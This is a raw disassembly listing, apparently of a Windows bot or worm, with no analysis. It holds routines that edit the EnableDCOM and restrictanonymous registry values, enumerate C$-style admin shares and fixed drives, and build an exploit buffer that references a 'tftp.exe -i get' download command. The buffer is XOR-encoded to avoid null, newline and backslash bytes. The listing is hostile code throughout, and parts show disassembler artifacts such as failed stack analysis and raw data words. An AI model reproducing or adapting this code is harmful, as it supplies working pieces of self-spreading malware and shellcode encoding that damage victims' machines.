		cmp	[ebp+var_C], edi
		jnz	short loc_4145E9
		push	32h
		call	esi	; Sleep
		jmp	short loc_4145DE
; ---------------------------------------------------------------------------


loc_4145E9:				; CODE XREF: sub_41454F+8Dj
					; sub_41454F+92j
		push	[ebp+var_4]
		call	ds:dword_42106C	; CloseHandle
		push	dword ptr [ebx+88h]
		mov	[ebx+0A4h], edi
		call	esi	; Sleep
		lea	eax, [ebp+var_20]
		push	4
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_4155B0
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	ds:dword_43A2AC	; ntohl
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	ds:dword_43A374	; ntohl
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_4155B0
		add	esp, 0Ch
		jmp	loc_41457D
sub_41454F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414640	proc near		; DATA XREF: seg000:004127E4o

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_75		= byte ptr -75h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		pop	edi
		pop	esi
		push	[ebp+var_8]
		cmp	[ebp+var_10], 0
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		jz	short loc_414687
		call	near ptr loc_41469F+1
		jmp	short loc_41468C
; ---------------------------------------------------------------------------


loc_414687:				; CODE XREF: sub_414640+3Ej
		call	sub_4149C4


loc_41468C:				; CODE XREF: sub_414640+45j
		add	esp, 10h
		push	[ebp+var_14]
		call	sub_415295
		pop	ecx
		push	0
		call	near ptr 3D0000h


loc_41469F:				; CODE XREF: sub_414640+40p
		cmp	dl, [ebp+var_75]
sub_414640	endp ; sp-analysis failed

		in	al, dx
		sub	esp, 214h
		push	esi
		push	edi
		xor	edi, edi
		cmp	ds:dword_43A448, edi
		jnz	loc_4147D2
		lea	eax, [ebp-4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	edi
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	ds:dword_43A3E8	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_41472B
		mov	ax, ds:word_4379B8
		mov	[ebp-6], ax
		lea	eax, [ebp-6]
		push	eax
		call	sub_415CD0
		pop	ecx
		push	eax
		lea	eax, [ebp-6]
		push	eax
		push	1
		push	edi
		push	offset aEnabledcom ; "EnableDCOM"
		push	dword ptr [ebp-4]
		call	ds:dword_43A39C	; RegSetValueExA
		test	eax, eax
		jz	short loc_41470D
		push	offset unk_437974
		jmp	short loc_414712
; ---------------------------------------------------------------------------


loc_41470D:				; CODE XREF: seg000:00414704j
		push	offset dword_437944


loc_414712:				; CODE XREF: seg000:0041470Bj
		lea	eax, [ebp-214h]
		push	eax
		call	sub_4154CD
		pop	ecx
		pop	ecx
		push	dword ptr [ebp-4]
		call	ds:dword_43A354	; RegCloseKey
		jmp	short loc_41473E
; ---------------------------------------------------------------------------


loc_41472B:				; CODE XREF: seg000:004146D6j
		lea	eax, [ebp-214h]
		push	offset unk_437900
		push	eax
		call	sub_4154CD
		pop	ecx
		pop	ecx


loc_41473E:				; CODE XREF: seg000:00414729j
		cmp	[ebp+14h], edi
		jnz	short loc_41475D
		push	1
		lea	eax, [ebp-214h]
		push	dword ptr [ebp+10h]
		push	eax
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_412D32
		add	esp, 14h


loc_41475D:				; CODE XREF: seg000:00414741j
		lea	eax, [ebp-214h]
		push	eax
		call	sub_40B151
		pop	ecx
		lea	eax, [ebp-4]
		push	eax
		push	0F003Fh
		push	edi
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	ds:dword_43A3E8	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_4147CB
		lea	eax, [ebp-8]
		push	4
		push	eax
		push	4
		push	edi
		push	offset aRestrictanonym ; "restrictanonymous"
		push	dword ptr [ebp-4]
		mov	dword ptr [ebp-8], 1
		call	ds:dword_43A39C	; RegSetValueExA
		test	eax, eax
		jz	short loc_4147AD
		push	offset unk_43789C
		jmp	short loc_4147B2
; ---------------------------------------------------------------------------


loc_4147AD:				; CODE XREF: seg000:004147A4j
		push	offset unk_437854


loc_4147B2:				; CODE XREF: seg000:004147ABj
		lea	eax, [ebp-214h]
		push	eax
		call	sub_4154CD
		pop	ecx
		pop	ecx
		push	dword ptr [ebp-4]
		call	ds:dword_43A354	; RegCloseKey
		jmp	short loc_4147E5
; ---------------------------------------------------------------------------


loc_4147CB:				; CODE XREF: seg000:00414782j
		push	offset unk_437804
		jmp	short loc_4147D7
; ---------------------------------------------------------------------------


loc_4147D2:				; CODE XREF: seg000:004146B3j
		push	offset unk_4377C0


loc_4147D7:				; CODE XREF: seg000:004147D0j
		lea	eax, [ebp-214h]
		push	eax
		call	sub_4154CD
		pop	ecx
		pop	ecx


loc_4147E5:				; CODE XREF: seg000:004147C9j
		cmp	[ebp+14h], edi
		jnz	short loc_414804
		push	1
		lea	eax, [ebp-214h]
		push	dword ptr [ebp+10h]
		push	eax
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_412D32
		add	esp, 14h


loc_414804:				; CODE XREF: seg000:004147E8j
		lea	eax, [ebp-214h]
		push	eax
		call	sub_40B151
		cmp	ds:dword_43A470, edi
		pop	ecx
		jnz	loc_41497F
		push	ebx
		mov	[ebp-4], edi
		mov	[ebp-14h], edi
		mov	[ebp-0Ch], edi


loc_414827:				; CODE XREF: seg000:00414963j
		lea	eax, [ebp-0Ch]
		push	eax
		lea	eax, [ebp-14h]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		lea	eax, [ebp-8]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	edi
		call	ds:dword_43A2C4
		cmp	eax, edi
		mov	[ebp-10h], eax
		jz	short loc_4148C4
		cmp	eax, 0EAh
		jz	short loc_4148C4
		mov	esi, offset off_437610


loc_414858:				; CODE XREF: seg000:004148BDj
		push	dword ptr [esi]
		push	edi
		call	sub_413383
		pop	ecx
		pop	ecx
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41486F
		push	offset unk_437788
		jmp	short loc_414874
; ---------------------------------------------------------------------------


loc_41486F:				; CODE XREF: seg000:00414866j
		push	offset unk_437748


loc_414874:				; CODE XREF: seg000:0041486Dj
		lea	eax, [ebp-214h]
		push	200h
		push	eax
		call	sub_415A4A
		add	esp, 10h
		cmp	[ebp+14h], edi
		jnz	short loc_4148A7
		push	1
		lea	eax, [ebp-214h]
		push	dword ptr [ebp+10h]
		push	eax
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_412D32
		add	esp, 14h


loc_4148A7:				; CODE XREF: seg000:0041488Bj
		lea	eax, [ebp-214h]
		push	eax
		call	sub_40B151
		add	esi, 8
		pop	ecx
		cmp	esi, offset dword_437630
		jl	short loc_414858
		jmp	loc_41495C
; ---------------------------------------------------------------------------


loc_4148C4:				; CODE XREF: seg000:0041484Aj
					; seg000:00414851j
		mov	esi, [ebp-8]
		push	1
		pop	ebx
		cmp	[ebp-4], ebx
		jb	loc_414953


loc_4148D3:				; CODE XREF: seg000:0041494Fj
		mov	edi, [esi]
		push	edi
		call	sub_4179BC
		cmp	word ptr [edi+eax*2-2],	24h
		pop	ecx
		jnz	short loc_414948
		push	edi
		call	sub_413270
		push	eax
		push	0
		call	sub_413383
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_414902
		push	offset unk_437710
		jmp	short loc_414907
; ---------------------------------------------------------------------------


loc_414902:				; CODE XREF: seg000:004148F9j
		push	offset unk_4376D0


loc_414907:				; CODE XREF: seg000:00414900j
		lea	eax, [ebp-214h]
		push	200h
		push	eax
		call	sub_415A4A
		add	esp, 10h
		cmp	dword ptr [ebp+14h], 0
		jnz	short loc_41493B
		push	1
		lea	eax, [ebp-214h]
		push	dword ptr [ebp+10h]
		push	eax
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_412D32
		add	esp, 14h


loc_41493B:				; CODE XREF: seg000:0041491Fj
		lea	eax, [ebp-214h]
		push	eax
		call	sub_40B151
		pop	ecx


loc_414948:				; CODE XREF: seg000:004148E2j
		add	esi, 28h
		inc	ebx
		cmp	ebx, [ebp-4]
		jbe	short loc_4148D3
		xor	edi, edi


loc_414953:				; CODE XREF: seg000:004148CDj
		push	dword ptr [ebp-8]
		call	ds:dword_43A408


loc_41495C:				; CODE XREF: seg000:004148BFj
		cmp	dword ptr [ebp-10h], 0EAh
		jz	loc_414827
		lea	eax, [ebp-214h]
		push	offset unk_437694
		push	eax
		call	sub_4154CD
		pop	ecx
		pop	ecx
		pop	ebx
		jmp	short loc_414992
; ---------------------------------------------------------------------------


loc_41497F:				; CODE XREF: seg000:00414817j
		lea	eax, [ebp-214h]
		push	offset unk_437650
		push	eax
		call	sub_4154CD
		pop	ecx
		pop	ecx


loc_414992:				; CODE XREF: seg000:0041497Dj
		cmp	[ebp+14h], edi
		jnz	short loc_4149B0
		push	edi
		lea	eax, [ebp-214h]
		push	dword ptr [ebp+10h]
		push	eax
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_412D32
		add	esp, 14h


loc_4149B0:				; CODE XREF: seg000:00414995j
		lea	eax, [ebp-214h]
		push	eax
		call	sub_40B151
		pop	ecx
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4149C4	proc near		; CODE XREF: sub_414640:loc_414687p

var_3BA7640	= byte ptr -3BA7640h
var_220		= byte ptr -220h
var_20		= byte ptr -20h
var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 220h
		push	ebx
		xor	ebx, ebx
		cmp	ds:dword_43A448, ebx
		push	esi
		jnz	loc_414AF2
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	ebx
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	ds:dword_43A3E8	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_414A4F
		mov	ax, ds:word_437BC0
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_415CD0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	ebx
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	ds:dword_43A39C	; RegSetValueExA
		test	eax, eax
		jz	short loc_414A31
		push	offset unk_437B88
		jmp	short loc_414A36
; ---------------------------------------------------------------------------


loc_414A31:				; CODE XREF: sub_4149C4+64j
		push	offset dword_437B58


loc_414A36:				; CODE XREF: sub_4149C4+6Bj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4154CD
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	ds:dword_43A354	; RegCloseKey
		jmp	short loc_414A62
; ---------------------------------------------------------------------------


loc_414A4F:				; CODE XREF: sub_4149C4+36j
		lea	eax, [ebp+var_220]
		push	offset unk_437900
		push	eax
		call	sub_4154CD
		pop	ecx
		pop	ecx


loc_414A62:				; CODE XREF: sub_4149C4+89j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_414A81
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D32
		add	esp, 14h


loc_414A81:				; CODE XREF: sub_4149C4+A1j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40B151
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	ebx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	ds:dword_43A3E8	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_414AEB
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	ebx
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], ebx
		call	ds:dword_43A39C	; RegSetValueExA
		test	eax, eax
		jz	short loc_414ACD
		push	offset unk_437B08
		jmp	short loc_414AD2
; ---------------------------------------------------------------------------


loc_414ACD:				; CODE XREF: sub_4149C4+100j
		push	offset unk_437AC0


loc_414AD2:				; CODE XREF: sub_4149C4+107j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4154CD
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	ds:dword_43A354	; RegCloseKey
		jmp	short loc_414B05
; ---------------------------------------------------------------------------


loc_414AEB:				; CODE XREF: sub_4149C4+E2j
		push	offset unk_437A70
		jmp	short loc_414AF7
; ---------------------------------------------------------------------------


loc_414AF2:				; CODE XREF: sub_4149C4+13j
		push	offset unk_4377C0


loc_414AF7:				; CODE XREF: sub_4149C4+12Cj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4154CD
		pop	ecx
		pop	ecx


loc_414B05:				; CODE XREF: sub_4149C4+125j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_414B24
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D32
		add	esp, 14h


loc_414B24:				; CODE XREF: sub_4149C4+144j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40B151
		cmp	ds:dword_43A470, ebx
		pop	ecx
		jnz	loc_414C96
		push	edi
		mov	esi, offset off_437610
		mov	edi, 200h


loc_414B48:				; CODE XREF: sub_4149C4+1E9j
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	ebx
		call	sub_4132D7
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_414B63
		push	offset unk_437A3C
		jmp	short loc_414B68
; ---------------------------------------------------------------------------


loc_414B63:				; CODE XREF: sub_4149C4+196j
		push	offset unk_437A00


loc_414B68:				; CODE XREF: sub_4149C4+19Dj
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_415A4A
		add	esp, 10h
		cmp	[ebp+arg_C], ebx
		jnz	short loc_414B97
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D32
		add	esp, 14h


loc_414B97:				; CODE XREF: sub_4149C4+1B7j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40B151
		add	esi, 8
		pop	ecx
		cmp	esi, offset off_437620
		jl	short loc_414B48
		call	near ptr 3D0000h
		xchg	al, [ebp+var_3BA7640]
		mov	bl, 41h
		jz	loc_414C7E


loc_414BC2:				; CODE XREF: sub_4149C4+2B4j
		mov	eax, [ebp+var_4]
		and	eax, 1
		cmp	al, 1
		jnz	loc_414C73
		cmp	bl, 41h
		jz	loc_414C73
		movsx	esi, bl
		push	esi
		push	offset aC_3	; "%c$"
		lea	eax, [ebp+var_14]
		push	0Ah
		push	eax
		call	sub_415A4A
		push	esi
		push	offset aC_2	; "%c:\\"
		lea	eax, [ebp+var_20]
		push	0Ah
		push	eax
		call	sub_415A4A
		add	esp, 20h
		lea	eax, [ebp+var_20]
		push	eax
		call	ds:dword_43A3D8	; GetDriveTypeA
		cmp	eax, 3
		jnz	short loc_414C73
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	0
		call	sub_4132D7
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_14]
		push	eax
		jnz	short loc_414C31
		push	offset unk_437A3C
		jmp	short loc_414C36
; ---------------------------------------------------------------------------


loc_414C31:				; CODE XREF: sub_4149C4+264j
		push	offset unk_437A00


loc_414C36:				; CODE XREF: sub_4149C4+26Bj
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_415A4A
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_414C66
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D32
		add	esp, 14h


loc_414C66:				; CODE XREF: sub_4149C4+286j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40B151
		pop	ecx


loc_414C73:				; CODE XREF: sub_4149C4+206j
					; sub_4149C4+20Fj ...
		inc	bl
		shr	[ebp+var_4], 1
		jnz	loc_414BC2


loc_414C7E:				; CODE XREF: sub_4149C4+1F8j
		lea	eax, [ebp+var_220]
		push	offset unk_4379BC
		push	eax
		call	sub_4154CD
		pop	ecx
		xor	ebx, ebx
		pop	ecx
		pop	edi
		jmp	short loc_414CA9
; ---------------------------------------------------------------------------


loc_414C96:				; CODE XREF: sub_4149C4+173j
		lea	eax, [ebp+var_220]
		push	offset unk_437650
		push	eax
		call	sub_4154CD
		pop	ecx
		pop	ecx


loc_414CA9:				; CODE XREF: sub_4149C4+2D0j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_414CC7
		push	ebx
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D32
		add	esp, 14h


loc_414CC7:				; CODE XREF: sub_4149C4+2E8j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40B151
		pop	ecx
		push	1
		pop	eax
		pop	esi
		pop	ebx
		leave
		retn
sub_4149C4	endp


; =============== S U B	R O U T	I N E =======================================



sub_414CDB	proc near		; CODE XREF: sub_414CFB+Ap
					; sub_414DD3+8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_415CD0
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_415CD0
		pop	ecx
		lea	eax, [esi+eax*2+0C1h]
		pop	ecx
		pop	esi
		retn
sub_414CDB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414CFB	proc near		; CODE XREF: sub_414DEA+49p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_414CDB
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		jbe	short loc_414D18
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_414D18:				; CODE XREF: sub_414CFB+17j
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_8]
		call	sub_415CD0
		push	[ebp+arg_C]
		mov	esi, eax
		call	sub_415CD0
		mov	edi, eax
		mov	ebx, [ebp+arg_0]
		push	0FFFFFFEDh
		lea	eax, [edi+esi+12h]
		mov	ds:dword_437C58, eax
		lea	eax, [edi+1]
		mov	ds:dword_437C79, eax
		lea	eax, [edi+17h]
		mov	ds:dword_437C71, eax
		pop	eax
		push	74h
		sub	eax, edi
		push	offset dword_437BF4
		push	ebx
		mov	ds:dword_437C87, eax
		call	sub_4155B0
		push	esi
		lea	eax, [ebx+74h]
		push	[ebp+arg_8]
		push	eax
		call	sub_4155B0
		add	esi, 74h
		push	5
		push	(offset	aTftp_exeIGet+0Ch)
		lea	eax, [esi+ebx]
		push	eax
		call	sub_4155B0
		add	esi, 5
		push	edi
		push	[ebp+arg_C]
		lea	eax, [esi+ebx]
		push	eax
		call	sub_4155B0
		add	esi, edi
		push	10h
		push	(offset	aTftp_exeIGet+11h)
		lea	eax, [esi+ebx]
		push	eax
		call	sub_4155B0
		add	esp, 44h
		add	esi, 10h
		push	edi
		lea	eax, [esi+ebx]
		push	[ebp+arg_C]
		push	eax
		call	sub_4155B0
		add	esi, edi
		push	38h
		add	esi, ebx
		push	offset byte_437C7D
		push	esi
		call	sub_4155B0
		mov	eax, [ebp+var_4]
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_414CFB	endp


; =============== S U B	R O U T	I N E =======================================



sub_414DD3	proc near		; CODE XREF: sub_414DEA+Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_414CDB
		push	eax
		call	sub_414E57
		add	esp, 0Ch
		retn
sub_414DD3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414DEA	proc near		; CODE XREF: sub_403178+32p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_C]
		push	edi
		push	ebx
		call	sub_414DD3
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		ja	short loc_414E0A
		cmp	eax, 0FFFFh
		jbe	short loc_414E0E


loc_414E0A:				; CODE XREF: sub_414DEA+17j
		xor	eax, eax
		jmp	short loc_414E53
; ---------------------------------------------------------------------------


loc_414E0E:				; CODE XREF: sub_414DEA+1Ej
		push	esi
		push	edi
		push	ebx
		call	sub_414CDB
		add	eax, 101h
		push	eax
		call	sub_415DA9
		add	esp, 0Ch
		mov	esi, eax
		push	edi
		push	ebx
		push	edi
		push	ebx
		call	sub_414CDB
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	sub_414CFB
		push	eax
		push	esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_414E72
		push	esi
		mov	edi, eax
		call	sub_415E1D
		add	esp, 24h
		mov	eax, edi
		pop	esi


loc_414E53:				; CODE XREF: sub_414DEA+22j
		pop	edi
		pop	ebx
		pop	ebp
		retn
sub_414DEA	endp


; =============== S U B	R O U T	I N E =======================================



sub_414E57	proc near		; CODE XREF: sub_414DD3+Ep
					; sub_414E72+4Ap

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	cl, cl
		jnz	short loc_414E60
		inc	ecx


loc_414E60:				; CODE XREF: sub_414E57+6j
		mov	eax, 0FFh
		cmp	eax, ecx
		sbb	eax, eax
		and	eax, 2
		add	eax, 15h
		add	eax, ecx
		retn
sub_414E57	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414E72	proc near		; CODE XREF: sub_414DEA+56p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	byte ptr [ebp+arg_C], 0Ah
		jz	short loc_414E8E
		cmp	byte ptr [ebp+arg_C], 0Dh
		jz	short loc_414E8E
		cmp	byte ptr [ebp+arg_C], 5Ch
		jz	short loc_414E8E
		cmp	byte ptr [ebp+arg_C], 0
		jnz	short loc_414E91


loc_414E8E:				; CODE XREF: sub_414E72+8j
					; sub_414E72+Ej ...
		inc	[ebp+arg_C]


loc_414E91:				; CODE XREF: sub_414E72+1Aj
		push	esi
		mov	esi, 0FFh
		cmp	[ebp+arg_C], esi
		jbe	short loc_414EB9
		mov	eax, [ebp+arg_C]
		shr	eax, 8
		cmp	al, 0Ah
		jz	short loc_414EB2
		cmp	al, 0Dh
		jz	short loc_414EB2
		cmp	al, 5Ch
		jz	short loc_414EB2
		test	al, al
		jnz	short loc_414EB9


loc_414EB2:				; CODE XREF: sub_414E72+32j
					; sub_414E72+36j ...
		add	[ebp+arg_C], 100h


loc_414EB9:				; CODE XREF: sub_414E72+28j
					; sub_414E72+3Ej
		push	[ebp+arg_C]
		call	sub_414E57
		cmp	eax, [ebp+arg_4]
		pop	ecx
		mov	[ebp+var_4], eax
		ja	short loc_414ED1
		cmp	eax, 0FFFFh
		jbe	short loc_414ED8


loc_414ED1:				; CODE XREF: sub_414E72+56j
		xor	eax, eax
		jmp	loc_414F76
; ---------------------------------------------------------------------------


loc_414ED8:				; CODE XREF: sub_414E72+5Dj
		mov	ecx, [ebp+arg_C]
		push	ebx
		mov	bl, ds:byte_469448
		xor	edx, edx
		push	edi
		mov	edi, [ebp+arg_8]
		test	ecx, ecx
		jbe	short loc_414F08


loc_414EEC:				; CODE XREF: sub_414E72+94j
		mov	al, [edx+edi]
		xor	al, bl
		jz	short loc_414EFF
		cmp	al, 0Ah
		jz	short loc_414EFF
		cmp	al, 0Dh
		jz	short loc_414EFF
		cmp	al, 5Ch
		jnz	short loc_414F03


loc_414EFF:				; CODE XREF: sub_414E72+7Fj
					; sub_414E72+83j ...
		inc	bl
		xor	edx, edx


loc_414F03:				; CODE XREF: sub_414E72+8Bj
		inc	edx
		cmp	edx, ecx
		jb	short loc_414EEC


loc_414F08:				; CODE XREF: sub_414E72+78j
		cmp	ecx, esi
		mov	ds:byte_469448,	bl
		ja	short loc_414F34
		push	15h
		push	offset loc_437BDC
		push	[ebp+arg_0]
		mov	ds:byte_437BE9,	cl
		mov	ds:byte_437BED,	bl
		call	sub_4155B0
		add	esp, 0Ch
		push	15h
		jmp	short loc_414F55
; ---------------------------------------------------------------------------


loc_414F34:				; CODE XREF: sub_414E72+9Ej
		push	17h
		push	offset loc_437BC4
		push	[ebp+arg_0]
		mov	ds:word_437BD2,	cx
		mov	ds:byte_437BD7,	bl
		call	sub_4155B0
		add	esp, 0Ch
		push	17h


loc_414F55:				; CODE XREF: sub_414E72+C0j
		xor	eax, eax
		pop	ecx
		cmp	[ebp+arg_C], eax
		jbe	short loc_414F71
		mov	edx, [ebp+arg_0]
		lea	esi, [ecx+edx]


loc_414F63:				; CODE XREF: sub_414E72+FDj
		mov	cl, [eax+edi]
		xor	cl, bl
		mov	[esi+eax], cl
		inc	eax
		cmp	eax, [ebp+arg_C]
		jb	short loc_414F63


loc_414F71:				; CODE XREF: sub_414E72+E9j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	ebx


loc_414F76:				; CODE XREF: sub_414E72+61j
		pop	esi
		leave
		retn
sub_414E72	endp


; =============== S U B	R O U T	I N E =======================================



sub_414F79	proc near		; CODE XREF: sub_4060E4+220p
					; seg000:00407576p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_43F308


loc_414F81:				; CODE XREF: sub_414F79+18j
		cmp	byte ptr [eax],	0
		jz	short loc_414F95
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_4687F8
		jl	short loc_414F81
		jmp	short loc_414FE0
; ---------------------------------------------------------------------------


loc_414F95:				; CODE XREF: sub_414F79+Bj
		push	esi
		mov	esi, edi
		imul	esi, 234h
		push	1FFh
		push	[esp+0Ch+arg_0]
		lea	eax, dword_43F308[esi]
		push	eax
		call	sub_416D20
		mov	eax, [esp+14h+arg_4]
		add	esp, 0Ch
		mov	ds:dword_43F508[esi], eax
		and	ds:dword_43F50C[esi], 0
		mov	eax, [esp+8+arg_8]
		and	ds:dword_43F510[esi], 0
		mov	ds:dword_43F514[esi], eax
		and	ds:byte_43F520[esi], 0
		pop	esi


loc_414FE0:				; CODE XREF: sub_414F79+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_414F79	endp

; ---------------------------------------------------------------------------
dword_414FE4	dd 81EC8B55h, 98ECh, 8458B00h, 266A5756h, 8DF08B59h, 0FFFF68BDh
					; DATA XREF: seg000:0041246Co
		dd 0FFA5F3FFh, 80C7F075h, 94h, 1, 0FF6C858Dh, 75FFFFFFh
		dd 0B5FF50F4h, 0FFFFFF68h, 15E8h, 0EC75FF00h, 26CE8h, 14C48300h
		dd 0CDE8006Ah, 80FFFBAFh, 8B555E5Fh, 0EC81ECh, 56000002h
		dd 0FF006A57h, 0B8681075h, 0FF00437Ch, 75FF0C75h, 0DCDCE808h
		dd 0C483FFFFh, 0BEFF3314h, 43F308h, 74003E80h, 147D833Ch
		dd 83097500h, 204BEh, 2D750000h, 858D5756h, 0FFFFFE00h
		dd 435C7C68h, 46E85000h, 6A000004h, 858D01h, 0FFFFFFFEh
		dd 0FF501075h, 75FF0C75h, 0DC94E808h, 0C483FFFFh, 34C68124h
		dd 47000002h, 87F8FE81h, 0B07C0046h, 0C3C95E5Fh

; =============== S U B	R O U T	I N E =======================================



sub_4150B4	proc near		; CODE XREF: seg000:0041184Dp
					; sub_415142+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_41513C
		cmp	esi, 12Ch
		jge	short loc_41513C
		imul	esi, 234h
		push	edi
		push	ebx
		push	ds:dword_43F51C[esi]
		lea	edi, dword_43F51C[esi]
		call	near ptr 3D0000h
		jb	short near ptr loc_41511B+4
		pop	ds
		jz	short loc_4150EC
		push	1
		pop	ebp


loc_4150EC:				; CODE XREF: sub_4150B4+33j
		mov	[edi], ebx
		lea	edi, dword_43F510[esi]
		mov	ds:dword_43F508[esi], ebx
